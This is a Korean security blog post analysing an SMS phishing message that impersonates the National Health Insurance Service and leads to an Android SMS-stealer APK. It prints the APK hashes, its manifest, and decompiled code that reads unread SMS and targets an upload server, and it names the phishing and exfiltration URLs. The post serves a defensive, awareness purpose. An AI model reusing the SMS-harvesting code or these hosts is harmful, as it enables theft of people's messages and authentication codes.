반응형
안녕하세요 처리의 블로그입니다.
2023년 8월 24일 오랫만에 저에게 하나의 문자 메시지가 전달되었습니다.
[Web발신] 보험 국민건강 통보문 전달완료부탁합니다. http://yhasns.lol
전달 온 번호는 생각보다는 많이 사용되지 않았네요.
원래 "국민건강보험" 인데 "보험 국민건강" 으로 스미싱 어플의 키워드 탐지를 우회하기 위한 깜찍한 시도로 보여지네요.
메시지에 있는 사이트에 접속을 하면 역시나 국민건강보험 사이트와 유사한 페이지로 만들었네요.
핸드폰 번호를 입력하면 이름과 생년월일을 입력하면 다음으로 넘어가 다운로드를 유도합니다.
다운로드를 하면 "전화번호.apk"로 파일이 다운로드 됩니다. 다운로드 된 APK 파일의 정보는 다음과 같습니다.
파일명 | sample.apk |
MD5 | 08681E3F16625260BC5A951F10616484 |
SHA1 | A868C62C36C62CA6FD0D7DEEFD2E399D56D5CF19 |
SHA256 | 03CB243BFFA4546C8A04F9F9CA4128D81415D9636F58E32BDE54F81BFBDA9EBB |
대~~략적으로 간단 하게만 살펴볼겠습니다.
일단 AndroidManifest.xml 을 보면 SMS관련 퍼미션,폰정보,부팅 관련을 사용하는것으로 보아 SMS Stealer 계열인거 같네요.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="10015" android:versionName="1.0.15" android:compileSdkVersion="31" android:compileSdkVersionCodename="12" package="com.samsung.hway" platformBuildVersionCode="31" platformBuildVersionName="12">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="31"/>
<uses-feature android:name="android.hardware.telephony" android:required="false"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<application android:theme="@style/Theme.Xms" android:label="@string/app_name" android:icon="@drawable/icon" android:allowBackup="false" android:supportsRtl="true" android:usesCleartextTraffic="true" android:roundIcon="@drawable/icon" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<activity android:name="com.samsung.hway.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<service android:name="com.samsung.hway.core.XmsService" android:enabled="true" android:exported="true"/>
<receiver android:name="com.samsung.hway.core.BootReceiver" android:exported="true">
<intent-filter android:priority="999">
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</receiver>
<provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.samsung.hway.androidx-startup">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
</provider>
</application>
</manifest>
어플이 설치 되면 m.naver.com 화면을 웹뷰로 보여주고, 권한 상승 메시지가 보여질거 같네요.
private void initView() {
if (this.web == null) {
WebView webView = (WebView) findViewById(C0994R.C0997id.web);
this.web = webView;
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setSupportZoom(true);
settings.setBuiltInZoomControls(true);
settings.setUseWideViewPort(true);
settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.SINGLE_COLUMN);
settings.setLoadWithOverviewMode(true);
this.web.setWebViewClient(new XmsWebViewClient());
this.web.loadUrl("https://m.naver.com");
}
}
문자 메시지 수집하는 구간도 잘 보이네요.
public void onChange(boolean z) {
Cursor query = this.context.getContentResolver().query(Uri.parse("content://sms/inbox"), new String[]{"address", "read", "body", "date"}, "read=?", new String[]{"0"}, "date desc");
if (query == null) {
return;
}
while (query.moveToNext()) {
try {
try {
XmsMessage xmsMessage = new XmsMessage();
int columnIndex = query.getColumnIndex("address");
if (columnIndex != -1) {
xmsMessage.From = query.getString(columnIndex);
}
int columnIndex2 = query.getColumnIndex("body");
if (columnIndex2 != -1) {
xmsMessage.Body = query.getString(columnIndex2);
}
int columnIndex3 = query.getColumnIndex("date");
if (columnIndex3 != -1) {
xmsMessage.Time = query.getLong(columnIndex3);
}
Communal.HandlerMessage(this.context, xmsMessage, "XmsObserver");
} catch (Exception e) {
Log.e(Communal.TAG, e.toString());
}
} finally {
query.close();
}
}
}
그리고 수집 된 문자 메시지는 특정 서버에 업로드 합니다.
public class XmsApi {
private static final String DEFAULT_URLPREFIX = "https://dc.yhwanson.com";
private static final MediaType MEDIA_TYPE_POST = MediaType.parse("application/x-www-form-urlencoded");
OkHttpClient client;
String urlPrefix;
}
만약 이런 문자를 확인하고 어플까지 설치하셨다면, 모바일 보안제품을 설치하셔서 꼭 검사를 받으시고 피해가 의심된다면 아래의 방법으로 문의하셔서 상담을 받으시기 바랍니다.
* 스미싱 상담 및 신고방법
- 국번없이 118
- KISA 인터넷보호나라 www.boho.or.kr -> 상담 및 신고 -> 스미싱 신고
'IT 보안소식' 카테고리의 다른 글
"쇼핑몰 후기 및 리뷰" 재택/부업/알바 사기 조심하세요!! (4) | 2023.10.12 |
---|---|
"수입물품 세금확인" 보이스피싱으로 이어지는 스미싱 문자 메시지 (12) | 2023.09.27 |
오늘의 보안용어 : 제로 트러스트 보안(Zero Trust Security) (0) | 2023.07.12 |
에코프로(Ecopro) 담당자를 노린 스피어 피싱메일 (0) | 2023.07.11 |
피싱, 스미싱 URL 검사 사이트 "ASKURL" (0) | 2023.07.05 |
댓글